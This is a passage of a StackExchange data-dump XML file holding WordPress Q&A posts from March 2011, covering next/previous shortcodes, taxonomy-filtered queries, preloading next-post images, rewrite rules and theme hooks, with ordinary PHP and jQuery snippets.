  <row Id="12904" PostTypeId="1" AcceptedAnswerId="12908" CreationDate="2011-03-24T08:28:47.890" Score="1" ViewCount="108" Body="&lt;p&gt;I really need some help, I dont know where else to turn with this request. I'd like to add a shortcode to one of my posts. The template tags get_next_post() and get_previous will not work for me since I dont want post navigation on each post page and I want to control where it displays. In a DIV in an HTML structure I've created in a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I need is to generate shortcodes from get_next_post() and get_previous_post()&lt;/p&gt;&#xA;" OwnerUserId="4179" LastActivityDate="2011-09-03T17:55:45.560" Title="Making a Shortcode [NEXT] and [PREVIOUS] to place into specific posts for post navigation" Tags="&lt;shortcode&gt;&lt;template-tags&gt;&lt;next-post-link&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="12905" PostTypeId="1" CreationDate="2011-03-24T08:39:29.403" Score="0" ViewCount="193" Body="&lt;p&gt;This is a follow up to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12812/display-post-by-taxonomy-and-taxonomy-child-if-exist&quot;&gt;Display Post by taxonomy and taxonomy child if exist&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display a list of Accomodation, first by Type of Accomodation, then by Regions.&#xA;I have a post-type, called &lt;code&gt;accomodation&lt;/code&gt;, a taxonomy &lt;code&gt;Country&lt;/code&gt;, a taxonomy &lt;code&gt;accomodation-type&lt;/code&gt;, a taxonomy &lt;code&gt;Region&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am in the Country page, where I retrieve the value of the country via &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomy = 'country';&#xA;$terms=get_the_terms($post-&amp;gt;ID,$taxonomy);&#xA;&#xA;if($terms) {&#xA;    foreach( $terms as $termcountry ) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I am successfully getting &lt;code&gt;$termcountry-&amp;gt;name;&lt;/code&gt; as the value of current country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I need to do my query for the Accomodation based on that country, filtered by Accomodation Type, and by region in this type.&#xA;So it should be&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Acc-Type 1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Region1&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Acco 1&lt;/li&gt;&#xA;&lt;li&gt;Acco 2&lt;/li&gt;&#xA;&lt;li&gt;Acco 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Region 2&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Acco 1&lt;/li&gt;&#xA;&lt;li&gt;Acco 2&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Acc-Type 2&lt;/li&gt;&#xA;&lt;li&gt;etc....&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am trying to do it this way&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$taxonomy2 = 'accomodation-type';&#xA;$termsacc = get_terms(&quot;accomodation-type&quot;,array('orderby' =&amp;gt; 'slug', 'order' =&amp;gt; 'ASC'));&#xA;       //Loop through Acc-Type&#xA;        foreach ($termsacc as $termaccomodation) {&#xA;            //Loop through Region in this type&#xA;            $taxonomyregion = 'region';&#xA;            $termsreg = get_terms(&quot;region&quot;,array('orderby' =&amp;gt; 'slug', 'order' =&amp;gt; 'ASC'));&#xA;             foreach ($termsreg as $termregion) {&#xA;            $args = array(&#xA;                'post_type' =&amp;gt; 'accomodation',&#xA;                'country' =&amp;gt; $termcountry-&amp;gt;name,&#xA;                'tax_query' =&amp;gt; array(&#xA;                    'relation' =&amp;gt; 'AND',&#xA;                    array(&#xA;                        'taxonomy' =&amp;gt; 'accomodation-type',&#xA;                        'field' =&amp;gt; 'slug',&#xA;                        'terms' =&amp;gt; array($termaccomodation-&amp;gt;name),&#xA;                    ),&#xA;                    array(&#xA;                        'taxonomy' =&amp;gt; 'region',&#xA;                        'field' =&amp;gt; 'slug',&#xA;                        'terms' =&amp;gt; array($termregion-&amp;gt;name),&#xA;                    )&#xA;                )&#xA;            );&#xA;&#xA;&#xA;            $query = new WP_Query($arg); &#xA;             //Do the loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this is not doing it....&#xA;Scratching my head proper on this one and will appreciate some help/solution&#xA;thx in advance&lt;/p&gt;&#xA;" OwnerUserId="2597" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T10:59:56.513" LastActivityDate="2011-08-22T08:33:23.183" Title="Display Post by taxonomy and taxonomy child" Tags="&lt;taxonomy&gt;&lt;query&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="12906" PostTypeId="2" ParentId="12890" CreationDate="2011-03-24T08:44:16.020" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://trac.bbpress.org/browser/branches/plugin/bbp-includes/bbp-reply-template.php?rev=2955#L1051&quot; rel=&quot;nofollow&quot;&gt;It appears the topic of a reply is stored in the &lt;code&gt;_bbp_topic_id&lt;/code&gt; meta field&lt;/a&gt;. Older versions stored this in the &lt;code&gt;post_parent&lt;/code&gt; field, but it seems this is deprecated? So you can add &lt;code&gt;'&amp;amp;meta_key=_bbf_topic_id&amp;amp;meta_value=' . $post-ID&lt;/code&gt; to your query to get only replies to this topic.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-24T08:44:16.020" CommentCount="1" />
  <row Id="12908" PostTypeId="2" ParentId="12904" CreationDate="2011-03-24T09:17:50.903" Score="1" ViewCount="" Body="&lt;p&gt;this is very simple to do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; // next   &#xA;function next_shortcode($atts) {&#xA;        // global $post; -unnecessary &#xA;&#xA;           return '&amp;lt;div class=&quot;nav-next&quot;&amp;gt;'.next_post_link( '%link', '%title &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;' . _x( '', 'Next post link', ' ' ) . '&amp;lt;/span&amp;gt;',true ).'&amp;lt;/div&amp;gt;';              &#xA;        }&#xA;        add_shortcode( 'next', 'next_shortcode' );&#xA;&#xA;//prev&#xA; function prev_shortcode($atts) {&#xA;     //global $post; -unnecessary &#xA;&#xA;       return '&amp;lt;div class=&quot;nav-previous&quot;&amp;gt;'.next_post_link( '%link', '%title &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;' . _x( '', 'Previous post link', ' ' ) . '&amp;lt;/span&amp;gt;',true ).'&amp;lt;/div&amp;gt;';              &#xA;    }&#xA;    add_shortcode( 'prev', 'prev_shortcode' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Goodluck!&#xA;Here for any question....&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditorDisplayName="" LastEditDate="2011-03-27T07:45:32.320" LastActivityDate="2011-03-27T07:45:32.320" CommentCount="3" />
  <row Id="12909" PostTypeId="2" ParentId="12810" CreationDate="2011-03-24T09:19:42.567" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$plugin_path = dirname( plugin_basename( __FILE__ ) ) . '/languages/';&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1241" LastActivityDate="2011-03-24T09:19:42.567" CommentCount="11" />
  <row Id="12910" PostTypeId="1" AcceptedAnswerId="12924" CreationDate="2011-03-24T09:27:30.160" Score="0" ViewCount="64" Body="&lt;p&gt;I'm building a website that uses the &lt;a href=&quot;http://wordpress.org/extend/plugins/gd-star-rating/&quot; rel=&quot;nofollow&quot;&gt;GD star rating plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I'm using the following code to retrieve two posts of the current page (a custom post type called &lt;code&gt;bbp_topic&lt;/code&gt;) and sort them by vote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('gdsr_sort=thumbs&amp;amp;posts_per_page=2&amp;amp;post_parent='.$post-&amp;gt;ID); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like now to only retrieve those post that have 1 or more thumbs up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? &lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T12:49:01.313" LastActivityDate="2011-03-24T12:49:01.313" Title="Is there any way of only retrieving posts with one or more thumbs up (GD star rating plugin)?" Tags="&lt;query-posts&gt;&lt;plugin-gd-star-rating&gt;" AnswerCount="2" />
  <row Id="12911" PostTypeId="2" ParentId="12910" CreationDate="2011-03-24T09:40:11.280" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdsr_sort=rating&amp;amp;gdsr_order=desc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="373" LastActivityDate="2011-03-24T09:40:11.280" CommentCount="1" />
  <row Id="12912" PostTypeId="2" ParentId="12851" CreationDate="2011-03-24T10:37:22.830" Score="0" ViewCount="" Body="&lt;p&gt;I have find this faboulous article... just copy/paste it here for future reference : &lt;a href=&quot;http://webdeveloperplus.com/wordpress/how-to-use-thumbnails-generated-by-wordpress-in-your-theme/&quot; rel=&quot;nofollow&quot;&gt;http://webdeveloperplus.com/wordpress/how-to-use-thumbnails-generated-by-wordpress-in-your-theme/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2011-03-24T10:37:22.830" />
  <row Id="12913" PostTypeId="1" AcceptedAnswerId="12922" CreationDate="2011-03-24T10:43:07.690" Score="0" ViewCount="154" Body="&lt;p&gt;As the title says, i would like a nice bit of coding to stick in my functions that pre-loads any images that are attached to the next post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that whilst my users are browsing, they page will load, but it will actually be loading the next page, so when you click-through, the images should already be there and waiting!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it as 'buffering' for image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple of things to note: I use the post_thumbnail feature and have different sizes setup through functions.php. I also have a plugin that enables multiple Featured Images per post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posed this question on stackoverflow (who pointed me here) and was given this code to be placed in the loop;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;$next_post = get_adjacent_post(false, '', false );// set last param to true if you want post that is chronologically previous&#xA;$args = array('post_type' =&amp;gt; 'attachment', 'numberposts' =&amp;gt; -1, 'post_parent' =&amp;gt; $next_post-&amp;gt;ID);&#xA;$attachments = get_posts($args);&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function(){&#xA;        var images = '';&#xA;        &amp;lt;?php foreach($attachments as $attachment):&#xA;            $mime = $attachemnt-&amp;gt;post_mime_type;&#xA;            if($mime == 'image/jpeg' || $mime == 'image/gif' || $mime == 'image/png'): &#xA;        ?&amp;gt;&#xA;        images += '&amp;lt;img src=&quot;&amp;lt;?php $attachment-&amp;gt;guid ?&amp;gt;&quot; style=&quot;display:none&quot; /&amp;gt;';&#xA;        &amp;lt;? endif; endforeach; ?&amp;gt;&#xA;        if(images != ''){&#xA;            $(body).append(images);&#xA;        }&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although to looks like it could be onto a winner, it doesn't seem to be doing the job quite yet. In my page source it returns the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function(){&#xA;        var images = '';&#xA;                if(images != ''){&#xA;            jQuery(body).append(images);&#xA;        }&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is possible i am doing something wrong as i am a chronic copy and paster! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone got any thoughts on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="4181" LastEditorUserId="4181" LastEditorDisplayName="" LastEditDate="2011-03-24T11:07:34.113" LastActivityDate="2011-03-24T12:32:11.727" Title="Wordpress: Preload next post images" Tags="&lt;images&gt;&lt;jquery&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="0" />
  <row Id="12914" PostTypeId="2" ParentId="12895" CreationDate="2011-03-24T10:54:36.813" Score="0" ViewCount="" Body="&lt;p&gt;The latest release updates the jquery and some plugins had issues with that, you can always upload the older version in the wp-includes directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a sneak peek in the code and the following snippet should be the culprit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ngg_ajax_test_head_footer() {&#xA;&#xA;// Build the url to call, NOTE: uses home_url and thus requires WordPress 3.0&#xA;$url = add_query_arg( array( 'test-head' =&amp;gt; '', 'test-footer' =&amp;gt; '' ), home_url() );&#xA;// Perform the HTTP GET ignoring SSL errors&#xA;$response = wp_remote_get( $url, array( 'sslverify' =&amp;gt; false ) );&#xA;// Grab the response code and make sure the request was sucessful&#xA;$code = (int) wp_remote_retrieve_response_code( $response );&#xA;if ( $code == 200 ) {&#xA;    global $head_footer_errors;&#xA;    $head_footer_errors = array();&#xA;&#xA;    // Strip all tabs, line feeds, carriage returns and spaces&#xA;    $html = preg_replace( '/[\t\r\n\s]/', '', wp_remote_retrieve_body( $response ) );&#xA;&#xA;    // Check to see if we found the existence of wp_head&#xA;    if ( ! strstr( $html, '&amp;lt;!--wp_head--&amp;gt;' ) )&#xA;        die('Missing the call to &amp;lt;?php wp_head(); ?&amp;gt; in your theme');&#xA;    // Check to see if we found the existence of wp_footer&#xA;    if ( ! strstr( $html, '&amp;lt;!--wp_footer--&amp;gt;' ) )&#xA;        die('Missing the call to &amp;lt;?php wp_footer(); ?&amp;gt; in your theme');&#xA;}&#xA;die('success');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This snippet loads your homepage body and checks if the wp_head and wp_footer are there. As you said you added these so that shouldnt be the problem. What I find strange is that you are missing a part of the die message, the wp_footer or wp_header parts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as i can Tell it looks for &amp;lt; ! - - wp_head - - &gt; (the comment) and not the actual code, the comments dont seem to be shown in your code did you add those?&lt;/p&gt;&#xA;" OwnerUserId="2434" LastEditorUserId="2434" LastEditorDisplayName="" LastEditDate="2011-03-25T18:26:31.903" LastActivityDate="2011-03-25T18:26:31.903" CommentCount="5" />
  <row Id="12915" PostTypeId="2" ParentId="12905" CreationDate="2011-03-24T11:14:06.100" Score="0" ViewCount="" Body="&lt;p&gt;You should query all &lt;code&gt;accomodation&lt;/code&gt; posts in this &lt;code&gt;country&lt;/code&gt;, and then sort them by &lt;code&gt;accomodation-type&lt;/code&gt; and &lt;code&gt;region&lt;/code&gt;. Then you loop through the posts, and compare the accomodation type and the region of each post with those of the previous post. If they are different you print the new accomodation type or region and then print the post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Pseudo-code to explain the idea&#xA;$prev_post_accomodation_type = $accomodations[0]-&amp;gt;accomodation_type;&#xA;$prev_post_region = $accomodations[0]-&amp;gt;region;&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;echo '&amp;lt;li&amp;gt;' . $prev_post_accomodation_type . '&amp;lt;ul&amp;gt;';&#xA;echo '&amp;lt;li&amp;gt;' . $prev_post_region . '&amp;lt;ul&amp;gt;';&#xA;foreach ( $accomodations as $accomodation ) {&#xA;    $cur_post_accomodation_type = $accomodation-&amp;gt;accomodation_type;&#xA;    $cur_post_region = $accomodation-&amp;gt;region;&#xA;    if ( $prev_post_accomodation_type != $cur_post_accomodation_type ) {&#xA;        echo '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;'; // Close previous region list&#xA;        echo '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;'; // Close previous accomodation type list&#xA;        echo '&amp;lt;li&amp;gt;' . $cur_post_accomodation_type . '&amp;lt;ul&amp;gt;';&#xA;        echo '&amp;lt;li&amp;gt;' . $cur_post_region . '&amp;lt;ul&amp;gt;';&#xA;    } elseif ( $prev_post_region != $cur_post_region ) {&#xA;        echo '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;'; // Close previous region list&#xA;        echo '&amp;lt;li&amp;gt;' . $cur_post_region . '&amp;lt;ul&amp;gt;';&#xA;    }&#xA;    echo '&amp;lt;li&amp;gt;' . $accomodation-&amp;gt;post_title . '&amp;lt;/li&amp;gt;';&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;'; // Close previous region list&#xA;echo '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;'; // Close previous accomodation type list&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do this sorting in the database or in PHP. In PHP could be easier, but will require many extra database queries because you do &lt;code&gt;get_post_terms()&lt;/code&gt; for each post. In the database is faster but will require some filtering of the SQL query that WordPress will execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;My spelling corrector wants to replace &lt;code&gt;accomodation&lt;/code&gt; with &lt;code&gt;accommodation&lt;/code&gt;, is it too late to change this in your code too?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-24T11:14:06.100" CommentCount="1" />
  <row Id="12916" PostTypeId="1" AcceptedAnswerId="13914" CreationDate="2011-03-24T11:41:43.570" Score="0" ViewCount="131" Body="&lt;p&gt;Is there any way of changing the post order, posts number, etc via user click?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same way you can choose displaying questions by time and vote here at StackExchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to accomplish that?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-03-24T11:54:38.847" LastActivityDate="2011-05-12T14:33:35.363" Title="Is there any way of changing the post order via user click?" Tags="&lt;link&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="0" />
  <row Id="12917" PostTypeId="1" CreationDate="2011-03-24T11:58:24.710" Score="0" ViewCount="21" Body="&lt;p&gt;I've been doing some searching about my problem. But since I am new to WP I find it hard to select the right source of information for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template for posting product information. I have a source for reviews about the products. I don't want to add the review text manually into the posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to have a DB table where I enter the reviews. Simple table. ID, Text&#xA;in the post template there should be a code snippet or tag or function (this is where I got lost in my research). Something like .&#xA;if the lookup finds an entry for the ID, display the text. If not display a default text, &quot;no reviews yet&quot; or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need directions, how is this done most efficiently and easy.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4183" LastActivityDate="2011-03-24T11:58:24.710" Title="Simple way to add a text snippet to a post if found on database" Tags="&lt;3.0&gt;&lt;custom-field&gt;" CommentCount="1" />
  <row Id="12918" PostTypeId="1" AcceptedAnswerId="12927" CreationDate="2011-03-24T12:01:37.687" Score="0" ViewCount="214" Body="&lt;p&gt;I'm trying to customize a theme, and I see that the header.php calls &quot;wp_head()&quot;. I can't seem to find an implementation of this in the theme, so I presume there is a default implementation that implements, for example, the Color Options settings as specified on the admin page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my related questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there somewhere I can see this default implementation?&lt;/li&gt;&#xA;&lt;li&gt;Can this default implementation be &quot;turned off&quot;?&lt;/li&gt;&#xA;&lt;li&gt;Can the &quot;Color Options&quot; option be disabled in the admin screen for the theme?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please feel free to point me to relevant documentation if that would be easier. I've looked at the reference pages for the wp_head() function and the corresponding wp_head action hook, but they don't seem to provide enough information for me to tackle the questions above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4184" LastActivityDate="2011-03-24T13:04:30.713" Title="Where is default wp_head() implemented?" Tags="&lt;theme-development&gt;&lt;wp-admin&gt;&lt;theme-options&gt;" AnswerCount="1" />
  <row Id="12919" PostTypeId="1" AcceptedAnswerId="12923" CreationDate="2011-03-24T12:08:02.500" Score="2" ViewCount="251" Body="&lt;p&gt;Regarding the WP_USE_THEMES var, the codex states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you are using The Loop inside your&#xA;  own design (and your own design is not&#xA;  a template), set WP_USE_THEMES to&#xA;  false.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But what is the actual effect on WordPress from WP_USE_THEMES being set to true or false? I would like to know how its used by WP.&lt;/p&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2011-03-24T12:31:17.563" Title="what is the constant WP_USE_THEMES for?" Tags="&lt;theme-development&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="12920" PostTypeId="1" CreationDate="2011-03-24T12:08:58.557" Score="0" ViewCount="69" Body="&lt;p&gt;Hy yall i having a trouble with my permalink. i'm using the bamboo theme and wordpress.&#xA;the switcher language seems to work properly but, the permalink is not associng the correct language the id is correct but the language is still on one of the 3 languages of the site...&#xA;like ...?p=98andlang=fr even if the choosen language is english.&#xA;i must say that the title is shown correctely the header ( first lines of articles ) is shown correctely but the read all and the permalink are linking to the bad language.&#xA;what did i miss?&lt;/p&gt;&#xA;" OwnerUserId="4185" LastActivityDate="2011-03-24T12:08:58.557" Title="permalink and language" Tags="&lt;multi-language&gt;" />
  <row Id="12921" PostTypeId="1" AcceptedAnswerId="12933" CreationDate="2011-03-24T12:09:12.220" Score="0" ViewCount="131" Body="&lt;p&gt;I have been at this for days now, going through plenty of answers here, guides on using .htaccess, guides on using add_rewrite_rule() within Wordpress and examples throughout the web. I am not sure if there is a malfunction in my regex to detect the correct URL, or a disconnect between what I want to accomplish and what can be accomplished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I am trying to separate comments from posts (or better yet, comments from content) by forcing them to a separate page &quot;associated&quot; with the content. So for example, &lt;code&gt;http://localhost/wp/2011/02/25/hello-world-2/&lt;/code&gt; is a post, and the comments for that post should appear at &lt;code&gt;http://localhost/wp/2011/02/25/hello-world-2/comments/&lt;/code&gt;. Now, a &lt;a href=&quot;http://wordpress.org/support/topic/separate-comments-from-specified-posts#post-205938&quot; rel=&quot;nofollow&quot; title=&quot;little bird&quot;&gt;&quot;little bird&quot;&lt;/a&gt; once said that this could be done with the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RewriteRule ^archives/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/comments/?$ /index.php?year=$1&amp;amp;monthnum=$2&amp;amp;day=$3&amp;amp;name=$4&amp;amp;comments=1 [QSA,L]&lt;/code&gt; (seeing as I do not really need to work inside the /archives/ for my above example to work, I removed it), which I translated into this plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Gingah Permalink Rewrite&#xA;Plugin URI: http://gingahmail.com/wordpress/&#xA;Description: Useful Permalink-structures, that required a plugin to work.&#xA;Version: 1.0&#xA;Author: Gingah&#xA;Author URI: http://gingahmail.com/&#xA;*/&#xA;&#xA;register_activation_hook( __FILE__, 'gingah_rewrite_activate' );&#xA;function gingah_rewrite_activate() {&#xA;    gingah_rewrite();&#xA;    flush_rewrite_rules();&#xA;}&#xA;register_deactivation_hook( __FILE__, 'gingah_rewrite_deactivate' );&#xA;function gingah_rewrite_deactivate() {&#xA;    flush_rewrite_rules();&#xA;}&#xA;add_action('admin_init', 'gingah_rewrite');&#xA;function gingah_rewrite() {&#xA;    add_rewrite_rule( '^([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/([^/]+)/comments/?$', '/index.php?year=$1&amp;amp;monthnum=$2&amp;amp;day=$3&amp;amp;name=$4&amp;amp;comments=1 [QSA,L]', 'top' );&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(based on countless examples &lt;em&gt;just&lt;/em&gt; like it, around the web)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does, however, not work. Even though, visiting &lt;code&gt;http://localhost/wp/2011/02/25/hello-world-2/?comments=1&lt;/code&gt; does produce the expected result. So what is going wrong here?&lt;/p&gt;&#xA;" OwnerUserId="2983" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T13:29:55.850" LastActivityDate="2011-04-21T07:40:46.793" Title="Separate page for comments using permalinks and add_rewrite_rule" Tags="&lt;comments&gt;&lt;url-rewriting&gt;" AnswerCount="1" />
  <row Id="12922" PostTypeId="2" ParentId="12913" CreationDate="2011-03-24T12:31:14.930" Score="0" ViewCount="" Body="&lt;p&gt;This is what cam of the other piece of code - BIG thank you to @Ivan Ivanic&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $next_post = get_adjacent_post(false, '', false );// set last param to true if you want post that is chronologically previous&#xA;    //for debug&#xA;    if(!empty($next_post)){&#xA;       echo 'Next post title is: '.$next_post-&amp;gt;post_title;&#xA;    } else {&#xA;        echo 'global $post is not set or no corresponding post exists';&#xA;    }&#xA;    $args = array('post_type' =&amp;gt; 'attachment', 'numberposts' =&amp;gt; -1, 'post_parent' =&amp;gt; $next_post-&amp;gt;ID);&#xA;    $attachments = get_posts($args);&#xA;    // print attachments for debug&#xA;    echo '&amp;lt;pre&amp;gt;';print_r($attachments);echo '&amp;lt;/pre&amp;gt;'; ?&amp;gt; &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function(){&#xA;        var images = '';&#xA;        &amp;lt;?php foreach($attachments as $attachment):&#xA;            $mime = $attachment-&amp;gt;post_mime_type;&#xA;            if($mime == 'image/jpeg' || $mime == 'image/gif' || $mime == 'image/png'): &#xA;        ?&amp;gt;&#xA;        images += '&amp;lt;img src=&quot;&amp;lt;?php echo $attachment-&amp;gt;guid ?&amp;gt;&quot; style=&quot;display:none&quot; /&amp;gt;';&#xA;        &amp;lt;? endif; endforeach; ?&amp;gt;&#xA;        if(images != ''){&#xA;            $('body').append(images);&#xA;        }&#xA;    }); &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4181" LastActivityDate="2011-03-24T12:31:14.930" CommentCount="1" />
  <row Id="12923" PostTypeId="2" ParentId="12919" CreationDate="2011-03-24T12:31:17.563" Score="4" ViewCount="" Body="&lt;p&gt;This is only used in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-includes/template-loader.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;template-loader.php&lt;/code&gt;&lt;/a&gt;, to determine whether it should load a theme file or not. The normal &quot;boot sequence&quot; of WordPress (started in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-blog-header.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-blog-header.php&lt;/code&gt;&lt;/a&gt;) loads the plugins, parses the URL, executes a post query based on the URL, and calls the theme. This main post query is typically used in &quot;The Loop&quot;. So if you want all the advantages of URL parsing but not display it using the site theme, you can set &lt;code&gt;WP_USE_THEMES&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; and it will not execute that final step.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-24T12:31:17.563" CommentCount="1" />
  <row Id="12924" PostTypeId="2" ParentId="12910" CreationDate="2011-03-24T12:31:52.350" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;gdsr_ftvmin=1&lt;/code&gt; is probably the query parameter you need&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-24T12:31:52.350" />
  <row Id="12925" PostTypeId="2" ParentId="12913" CreationDate="2011-03-24T12:32:11.727" Score="0" ViewCount="" Body="&lt;p&gt;Since you are using Post Thumbnails change your code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;$next_post = get_adjacent_post(false, '', false );// set last param to true if you want post that is chronologically previous&#xA;$thumbnail = '';&#xA;?&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function(){&#xA;        var images = '';&#xA;        &amp;lt;?php $thumbnail = wp_get_attachment_image_src ( get_post_thumbnail_id ( $next_post-&amp;gt;ID ), &quot;size&quot;); &#xA;        if ($thumbnail != false &amp;amp;&amp;amp; $thumbnail != ''){&#xA;            ?&amp;gt;&#xA;            images += '&amp;lt;img src=&quot;&amp;lt;?php echo $thumbnail[0]; ?&amp;gt;&quot; style=&quot;display:none&quot; /&amp;gt;';&#xA;            &amp;lt;?php&#xA;        }&#xA;        ?&amp;gt;&#xA;        if(images != ''){&#xA;            $(body).append(images);&#xA;        }&#xA;    